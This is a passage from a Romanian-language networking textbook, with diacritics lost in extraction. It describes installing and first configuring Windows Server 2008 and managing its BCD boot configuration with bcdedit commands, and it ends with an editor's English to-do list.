Alliance) sunt disponibile n 32 i 64 de bii variantele Standard i Enterprise.
12.1.2 Considerente generale
Unul dintre avantajele majore pe care instalarea de Windows Server 2008 l ofer fa de
versiunile precedente din seria Server este faptul c instalarea necesit o interaciune
minimal din partea administratorului pe parcursul ei. Ceea ce Microsoft a numit unattended
installation reprezint posibilitatea de a configura toi parametrii de instalare de la nceput,
urmnd ca instalarea s se execute pn la punctul de pornire a serverului fr a mai necesita
date suplimentare cum ar fi configurarea numelui sistemului, a unui domeniu, a conexiunilor
de reea, a zonei, etc. Acest tip de instalare se ntlnete i n cazul lui Vista.
Windows Server 2008 ofer dou tipuri generale de instalare: o instalare complet sau o
variant redus a celei complete, care nu ofer GUI (Graphical User Interface) ci doar accesul
prin intermediul unui terminal, din care lipsesc anumite servicii ce nu sunt necesare
funcionrii serverului i conine doar acele faciliti importante pentru rolurile pe care le va
deservi instalarea respectiv, spre exemplu Active Directory sau Domain Name System (DNS).
Acest tip de instalare, denumit Server Core, a fost conceput pentru a necesita un overhead
minimal pentru funcionare i este des ntlnit n arhitecturi de tip cluster
1
.
Ca practic general, este recomandabil ca nainte de instalarea oricrui sistem de operare
de tip server s se realizeze o hart a reelei n care acestea vor funciona, innd cont de:
tipurile de servicii pe care acestea le vor oferi
topologia reelei
utilizatori: numrul, locaia lor, drepturile pe care le dein
politicile de securitate ce trebuie implementate
estimarea limii de band de la utilizatori la server
estimarea limii de band necesare ntre servere (dac este cazul)

De asemenea, ca exemplu, un server cu rol de router poate s afecteze nu numai
configuraia software a serviciilor sale dar i cea hardware (mai multe plci de reea).
Server Core reprezint o varianta redus de instalare a lui Windows Server 2008, fr
interfa grafic (GUI) i care folosete doar serviciile strict necesare rolurilor pe care serverul
le va ndeplini
12.1.3 Cerine hardware
Poate n mod surprinztor, cerinele hardware pentru rularea lui Windows Server 2008 se
situeaz puin sub nivelul celor cerute de Vista, fapt explicabil prin gama extrem de redus de
servicii active imediat dup instalare i, bineneles, prin faptul c toate rolurile (cu serviciile
aferente) pe care o instalare de server le poate ndeplini sunt complet opionale i inactive de
la prima lansare. Evident, la polul complet opus se afl Vista, care i sufoc practic
utilizatorii cu servicii de care doar o mic parte dintre acetia au nevoie.
Cerinele hardware oficiale pentru diversele variante de Windows Server 2008 sunt
prezentate mai jos:

1
http://en.wikipedia.org/wiki/Computer_cluster
401 | P r o t o c o a l e d e n i v e l t r a n s p o r t

Procesor:
o Minim: 1GHz
o Recomandat: 2 GHz
o Optim: 3GHz sau mai mult
o Procesor Intel Itanium 2 pentru varianta corespunztoare de Windows Server 2008
Memorie:
o Minim: 512 MB
o Recomandat: 1 GB
o Optim: 2 GB pentru instalarea complet sau 1 GB pentru instalarea Server Core
o Maxim (pe 32 de bii): 4GB (varianta Standard) sau 64 GB (variantele Enterprise i Datacenter)
o Maxim (pe 64 de bii): 32 GB (varianta Standard) sau 2 TB (variantele Enterprise, Datacenter i pe
sistemele Itanium)
Spaiu pe disc:
o Minim: 8 GB
o Recomandat: 40 GB (instalare complet) sau 10 GB (Server Core)
o Optim: 80 GB (instalare complet) sau 40 GB (Server Core) i mai mult
12.1.4 Instalarea propriu-zis
n cele ce urmeaz vor fi exemplificai paii unei instalri tipice:
1. Dup introducerea discului de instalare i boot-area de pe acesta, va aprea fereastra de
alegere a limbii, zonei i a tastaturii. Clic pe next.

12-1
2. Clic pe Install now pentru a ncepe procesul de instalare. Tot aici se vor putea accesa i
utilitarele de recuperare (Repair your computer).
3. n acest stadiu se poate introduce cheia de activare. Dac se dorete doar testarea produsului
sau nu se dorete o instalare definitiv, cheia de activare se poate completa ulterior instalrii
402 | R e e l e L o c a l e

sistemului.De asemenea, n acest caz, trebuie debifat cmpul Automatically activate Windows
when Im online.
4. n continuare trebuie selectat varianta dorit de instalare (Standard sau Enterprise n varianta
MSDNAA)

12-2
5. Se va selecta tipul de instalare dorit (Full installation sau Server core)
6. Se va alege dac instalarea care urmeaz s fie fcut este sub form de upgrade sau nu. De
remarcat faptul c opiunea de upgrade nu se va vedea activ dect dac s-a iniiat procedura
de instalare dintr-o versiune precedent de Windows.
7. Dac hard disk-ul este detectat automat, se va putea crea i formata partiia necesar pentru
instalare (alturi de celelalte partiii). Dac discul nu este detectat, cel mai probabil driver-ul
pentru controller nu este ncorporat n Windows, caz n care acesta va putea fi instalat cu un
clic pe Load driver.
8. Dup parcurgerea acestor pai, Windows va continua instalarea fr a mai cere informaii
suplimentare, iar la final va lansa sistemul nou instalat.
Atenie: Ca i la versiunile precedente de Windows, instalarea va suprascrie orice
bootloader ce nu a fost recunoscut (de exemplu Grub sau Lilo)

Activare: Varianta de Windows Server 2008 obinut prin intermediul MSDNAA poate
funciona 60 de zile fr activare.

403 | P r o t o c o a l e d e n i v e l t r a n s p o r t


12-3
12.1.5 Configurri iniiale
Dup terminarea instalrii se afieaz fereastra de Initial configuration tasks. Multe dintre
opiunile disponibile aici fceau parte din informaiile intermediare, cerute pe parcursul
instalrii, la versiunile anterioare de Windows. Iat un scurt rezumat al lor:
Setarea parolei de administrator: n acest punct, parola trebuie s fie deja setat, nc de la
prima intrare n sistem. Schimbarea ei se poate face i de aici.
Setarea fusului orar
Configurarea reelei: Prin intermediul paginii Network connections din Control panel; pot fi
configurate mai multe interfee de reea.
Nume i domeniu: Configurarea unui nume pentru sistem ct i specificarea unui domeniu al
cruia acesta s fie membru.
Feedback: Configurri pentru Windows Update, Windows Error Reporting i Customer
Experience Improvement Program (CEIP). Atenie la conformitatea acestora cu politicile interne
ale companiei, n cazul n care instalarea se face ntr-un mediu enterprise.
Actualizri automate: Windows Update ar trebui s aib dreptul s actualizeze sistemul atunci
cnd sunt disponibile patch-uri, n afara cazului n care deinei un sistem de management al
patch-urilor. Atenie la configurrile care ar putea cauza restartarea automat a sistemului n
urma instalrii de patch-uri.
Adugarea rolurilor: Rolurile reprezint scopurile n care va funciona serverul i, implicit,
serviciile pe care acesta le va furniza. Printre roluri se numr DNS, DHCP, IIS, firewall, etc.
Adugarea de caracteristici (features): Interfaa din Windows Server 2008 nlocuiete vechea
interfa denumit Add/Remove Windows Components de la Add/Remove Programs din
Control Panel, n versiunile anterioare de Windows. Printre atribute, se enumer: serviciul de
wireless, PowerShell, platforma .NET 3.0, interfaa Aero Glass, etc.
404 | R e e l e L o c a l e

Activare Remote Desktop: Windows poate fi administrat de la distan, n mod grafic, prin
intermediul serviciului de Remote Desktop.
Configurare Windows Firewall: Permite activarea sau dezactivarea firewall-ului ncorporat n
Windows Server 2008, adugarea de programe sau porturi ca excepii i alte opiuni legate
strict de conexiunile ce aparin sistemului, asemntor firewall-ului din Windows XP. Cu alte
cuvinte, nu vei configura de aici regulile de filtrare a pachetelor pentru un server ce
funcioneaz ca router/firewall, spre exemplu.
Setarea iniial a parolei: n mod normal, Windows Server 2008 oblig setarea parolei de
administrator la prima intrare n sistem. Aceasta trebuie s aib cel puin 8 caractere i s
conin cel puin trei elemente distincte dintre urmtoarele: litere mari, litere mici, cifre sau
semne de punctuaie.
Dup nchiderea ferestrei de Initial Configuration Tasks, este pornit automat interfaa
Server Manager. Acesta se intergreaz cu toate serviciile i facilitile sistemului, pentru
centralizarea i uurarea administrrii.
Recuperarea parolei: Dac se dorete schimbarea parolei administratorului folosind Ctrl-
Alt-Del i alegnd Change a password, se va putea observa un link, sub cmpul de parol,
numit Create a password reset disk care este totodat legtura spre procedura Forgotten
Password Wizard, accesibil i din Control Panel > Create a password reset disk. Discul de
recuperare a parolei poate fi att o dischet ct i un stick USB i poate fi folosit ca o cheie,
pentru redobndirea drepturilor de acces n sistem n cazul unei parole uitate, chiar dac
aceasta a fost schimbat de la crearea discului de recuperare.
12.2 Anexa 2: Sistemul de boot n Windows Server 2008
Toate variantele de Windows Server, ncepnd cu Windows NT, au folosit NT Loader
(NTLDR) mpreun cu boot.ini pentru a controla procesul de boot-are, precum i pentru a
gestiona posibilitatea de boot-are multipl. ncepnd cu Vista i, deci, incluznd Windows
Server 2008, ntregul sistem de boot a fost reconceput i denumit BCD (Boot Configuration
Data) care nlocuiete NTLDR complet prin funcionalitate. Acum, n locul stocrii configuraiei
de boot ntr-un fiier text, ca boot.ini, BCD folosete un fiier binar ce poate fi editat doar
folosind unelte specializate, ca BCDEdit.exe sau WMI (Windows Management
Instrumentation).
n mod implicit i cu precdere pe sistemele pe 32 de bii, BCD se gsete n
%SystemDrive%\Boot\BCD, ca n output-ul de mai jos:
PS C:\> ls C:\Boot\BCD


Directory: Microsoft.PowerShell.Core\FileSystem::C:\Boot


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 7/27/2008 8:56 PM 28672 BCD
12-4: Locaia fiierului BCD ntr-o instalare de Windows Server 2008 Standard

405 | P r o t o c o a l e d e n i v e l t r a n s p o r t


12-5: Boot Loader-ul din Windows Server 2008 i Vista
Pentru sistemele de operare bazate pe EFI (Extensible Firmware Interface), dintre
sistemele pe 64 de bii, BCD este stocat n partiia de sistem EFI (NVRAM).
12.2.1 Modaliti de interaciune cu BCD
Exist patru metode prin care un administrator poate s modifice parametrii stocai n
BCD:
Applet-ul din Control Panel, cu flexibilitate redus, dar care permite modificarea timeout-ului
boot loader-ului, a ordinii n care sunt afiate sistemele de operare detectate, precum i alte
opiuni de baz.
MSConfig.exe poate fi folosit de asemenea, pentru a seta opiuni de baz ale boot loader-
ului, dar ofer i opiuni legate de debug sau safe mode.
BCDEdit.exe este un utilitar n linie de comand i, totodat, cel mai puternic din punctul de
vedere al opiunilor i al flexibilitii. Pune la dispoziia administratilor toate opiunile boot
loader-ului i suport o form de scripting.
WMI: folosind WMI, un administrator poate folosi orice limbaj de scripting care suporta WMI
pentru a efectua schimbri asupra boot loader-ului. De asemenea, interfaa ofer o flexibilitate
foarte mare, dei interaciunea se face mai dificil dect n cazul lui BCDEdit.exe.
12.2.1.1 BCD: Control Panel
O parte din opiunile de baz ale boot loader-ului pot fi modificate din Control Panel.
Pentru a accesa aceste opiuni, urmai paii:
1. Se acceseaz applet-ul System din Control Panel:
406 | R e e l e L o c a l e


12-6: Control Panel - System
2. Se selecteaz Advanced System Settings din meniul din partea stng:

12-7: Control Panel - System Properties
3. n categoria Startup and Recovery, se alege Settings:
407 | P r o t o c o a l e d e n i v e l t r a n s p o r t


12-8: Control Panel - System Properties - Startup and Recover
12.2.1.2 BCD: MSConfig.exe
System Configuration este o interfa folosit, n general, pentru depistarea i tratarea
problemelor ce pot aprea la pornirea Windows. Printre altele, aici pot fi modificate setri
legate de modalitatea de pornire a Windows sau pot fi selectate serviciile ce vor fi pornite
automat.

12-9: Interfaa MSConfig (System Configuration)
La subcategoria Boot se regsesc urmtoarele opiuni relevante pentru modul n care
Windows se lanseaz n execuie:
408 | R e e l e L o c a l e

Safe Boot:
o Minimal: Pornete Windows n interfaa grafic rulnd doar un subset minimal de servicii. Toate
serviciile de reea sunt dezactivate.
o Alternate Shell: Porneste Windows n promptul de comand cmd.exe. Setul de servicii ncrcate
este, de asemenea, minimal. Toate serviciile de reea, precum i interfaa grafic, sunt dezactivate.
o Active Directory Repair: Pornete Windows n interfaa grafic, mpreun cu un set minimal de
servicii i Active Directory.
o Networking: Porneste Windows n interfaa grafic, ca i n modul minimal, dar cu suport pentru
seriviciile de reea.
No GUI Boot: Dezactiveaz afiarea ecranului de ncrcare (splash screen) n timpul boot-rii.
Boot Log: Stocheaz un jurnal al procesului de boot al sistemului n
%SystemRoot%\Ntbtlog.txt
Base Video: Pornete Windows n modul minimal VGA. Driver-ele video ncrcate sunt cele
standard VGA, n locul celor specifice plcii video instalate n sistem.
OS Boot Information: Afieaz numele driverelor i fiierele lor ce sunt ncrcate n timpul
procesului de boot-are.
Make All Boot Settings Permanent: Nu ine evidena setrilor schimbate n System
Configuration, deci nu se poate reveni la configuraia de baz selectnd Normal startup la
categoria General, ci doar readucnd fiecare setare manual la starea iniial.
12.2.1.3 BCD: BCDEdit.exe
Pentru BCDEdit.exe, fiind un utilitar de sine stttor, cel mai simplu mod de a trece n
revist parametrii principali ai si este de a-l lansa n linia de comand cu parametrul /?
pentru a-i afia opiunile de ajutor:
PS C:\Users\Administrator> bcdedit /?

BCDEDIT - Boot Configuration Data Store Editor

The Bcdedit.exe command-line tool modifies the boot configuration data store.
The boot configuration data store contains boot configuration parameters and
controls how the operating system is booted. These parameters were previously
in the Boot.ini file...
[...]
Commands that operate on a store
================================
/createstore Creates a new and empty boot configuration data store.
/export Exports the contents of the system store to a file. This file
can be used later to restore the state of the system store.
[...]
12-10: Fragment al comenzii bcdedit.exe /?
Se observ c BCDEdit.exe accept o serie destul de numeroas de parametri, care n
descrierea din comanda de mai sus sunt considerate comenzi. Pentru a obine ajutor
suplimentar i particular pentru oricare dintre acestea, se poate folosi comanda bcdedit /?
parametru, ca n exemplul de mai jos:
PS C:\Users\Administrator> bcdedit /? /enum

This command lists entries in a store. The /enum command is the default,
so running "bcdedit" without parameters is equivalent to running
"bcdedit /enum ACTIVE".

bcdedit [/store <filename>] /enum [<type> | <id>] [/v]

<filename> Specifies the store to be used. If this option is not
specified, the system store is used. For more information,
run "bcdedit /? store".
12-11: Obinerea de ajutor pentru parametrul /enum
Una dintre cele mai simple i totodat utile comenzi ce pot fi folosite mpreun cu
BCDEdit.exe o reprezin parametrul /enum:
409 | P r o t o c o a l e d e n i v e l t r a n s p o r t

PS C:\Users\Administrator> bcdedit /enum /v

Windows Boot Manager
--------------------
identifier {bootmgr}
device partition=C:
description Windows Boot Manager
[...]
timeout 30

Windows Legacy OS Loader
------------------------
identifier {ntldr}
device partition=D:
path \ntldr
description Earlier version of Windows

Windows Boot Loader
-------------------
identifier {247945e9-2c49-11dd-901e-f4acdce939da}
device partition=C:
path \Windows\system32\winload.exe
description Microsoft Windows Server 2008
locale en-US
inherit {bootloadersettings}
osdevice partition=C:
systemroot \Windows
[...]
12-12: Rezultatul comenzii BCDEdit.exe /enum /v
BCDEdit.exe /enum are ca efect afiarea de informaii despre Windows Boot Manager
precum i despre toate celelalte boot loader-e ale altor sisteme de operare Windows.
n exemplul de mai sus s-a folosit un parametru suplimentar, /v, necesar pentru a afia
indetificatorii fiecrui loader detectat n sistem ce poate fi configurat de ctre BCD.
12.2.1.3.1 Exemplu de utilizare BCDEdit.exe: Modificarea secvenei de pornire
n urmtorul exemplu se arat cum se poate specifica secvena de pornire astfel nct NT
Loader s porneasc primul, urmat de loader-ul cu identificatorul {247945e9-2c49-11dd-
901e-f4acdce939da} ce corespunde instalrii curente de Windows Server 2008. Se poate
considera faptul c NT Loader-ul aparine unei instalri de Windows XP, spre exemplu:
bcdedit /bootsequence {ntldr} {0f732d04-e6b2-11da-b631-b722247cd703}
Exemplul urmtor demonstreaz modalitatea de mutare sau de adugare a unui sistem de
operare cu identificatorul {0f732d04-e6b2-11da-b631-b722247cd703} astfel nct loader-ul
acestuia s fie primul care va porni:
bcdedit /bootsequence {0f732d04-e6b2-11da-b631-b722247cd703} /addfirst
Similar se procedeaz i pentru situarea unui loader la sfritul listei de prioriti:
bcdedit /bootsequence {0f732d04-e6b2-11da-b631-b722247cd703} /addlast
Eliminarea unei intrri pentru un anumit loader al unui sistem de operare se realizeaz
prin comanda de mai jos. Spre exemplu, dac se dorete renunarea la un sistem de operare
mai vechi, dup tergerea fiierelor acestuia este recomandabil s i se elimine intrarea i din
BCD:
bcdedit /bootsequence {ntldr} /remove
12.2.1.3.2 Exemplu de utilizare BCDEdit.exe: Modificarea ordinii de afiare
n momentul n care pe un sistem sunt disponibile mai multe loader-e, este afiat un
meniu prin care utilizatorul poate alege pe care s l lanseze n execuie. Ordinea n care aceste
loader-e sunt afiate poate fi modificat folosind BCDEdit.exe cu parametrul /displayorder.
La fel ca i n cazul parametrului /bootsequence, se poate specifica explicit o anumit
ordine de afiare, se pot aduga sau muta itemuri la nceputul sau sfritul listei sau se pot
410 | R e e l e L o c a l e

terge complet itemuri din list. De fapt, sintaxa pentru parametrul /displayorder este exact
aceeai ca i pentru parametrul /bootsequence.
Spre exemplu, pentru a configura ordinea de afiare a loader-elor astfel nct loader-ul
sistemului de operare cu identificatorul {0f732d04-e6b2-11da-b631-b722247cd703} s fie
afiat naintea NTLDR-ului (posibil al unui Windows XP sau 2003 Server) se folosete comanda:
bcdedit /displayorder {0f732d04-e6b2-11da-b631-b722247cd703} {ntldr}
n mod similar, adugarea NT Loader-ului la nceputul meniului se face n felul urmtor:
bcdedit /displayorder {ntldr} /addfirst
12.2.1.3.3 Exemplu de utilizare BCDEdit.exe: Modificarea timpului de afiare a
meniului
Timpul implicit pentru care este afiat Boot manager-ul este de 30 de secunde, valoare ce
poate fi modificat prin parametrul /timeout ca n exemplul urmtor, care modific timpul
dup care Boot manager-ul selecteaz loader-ul implicit la 5 secunde:
bcdedit /timeout 5
Parametrul /timeout permite setarea inclusiv pe valoarea de 0 (zero) secunde, caz n care
meniul nu va ma fi afiat iar loader-ul implicit va fi automat lansat.
12.2.1.3.4 Exemplu de utilizare BCDEdit.exe: Setarea loader-ului implicit
Pentru setarea loader-ului selectat implicit se folosete parametrul /default. Pe lng
faptul c acesta va fi selectat implicit, opiunea poate fi folosit n conjuncie cu valoarea zero
a parametrului /timeout pentru a cauza lansarea implicit a loader-ului unui anumit sistem de
operare, fr a mai afia meniul.
bcdedit /default {ntldr}
12.2.1.3.5 Exemplu de utilizare BCDEdit.exe: Salvarea i ncrcarea unei
configuraii BCD
Este recomandabil ca un administrator s salveze configuraia BCD-ului pentru
eventualitatea unei situaii n care este necesar restaurarea ei. nainte de a fi implementat
BCD, era suficient crearea unei copii a fiierului text boot.ini. n cazul BCD-ului, fiierul
acestuia este blocat i marcat ca fiind folosit n permanen, ceea ce face imposibil copierea
sau suprascrierea sa. BCDEdit.exe suport, ns parametrii /export i /import care fac
posibil salvarea i suprascrierea coninutului fiierului BCD. Ambii parametri necesit doar
calea spre fiierul n care va fi salvat configuraia sau din care aceasta va fi ncrcat. Astfel
c, pentru salvarea n fiierul BCDbackup se poate folosi comanda:
bcdedit /export "D:\back\BCDbackup"
Similar, pentru ncrcarea configuraiei din fiierul anterior, se folosete:
bcdedit /import "D:\back\BCDbackup"
Se recomand trecerea n revist i a altor parametri fundamentali pentru utlizarea lui
BCDEdit.exe, ca /delete, /deletevalue, /copy i /set. Explicitarea acestora depete,
totui, scopul acestei cri, deci aprofundarea lor rmne la latitudinea cititorului.
Atenie! ncrcarea unei configuraii nevalide poate duce la imposibilitatea lansrii n
execuie a oricrui sistem de operare instalat.
411 | P r o t o c o a l e d e n i v e l t r a n s p o r t

Mai multe informaii referitoare la conceptele pe baza cruia funcioneaz BCD precum i
o documentaie n detaliu pentru utilizarea lui BCDEdit.exe pot fi gsite n documentul de la
adresa urmtoare:
http://www.microsoft.com/whdc/system/platform/firmware/bcd.mspx


412 | R e e l e L o c a l e

Reviewers todos:
- get rid of other todos
- format questions
- check headers (some dont have styles or numbers)
- change headers to give necesarry spacing
- fix filenames, commands and addresses with z_text_comanda
- fix fucked up wrapping in some z_command_8 blocks
- if possible, review all English terms and apply z_text_italic
- fix invisible images and format them all with z_figura, including description
o also add space after description or space on the bottom of z_figura
- remove hyperlinks from e-mail addresses and web links
- fix nicio, niciun
- update all dynamic fields (references, cross-references...)
- de verificat NEAPARAT referintele!!!!!!

S-ar putea să vă placă și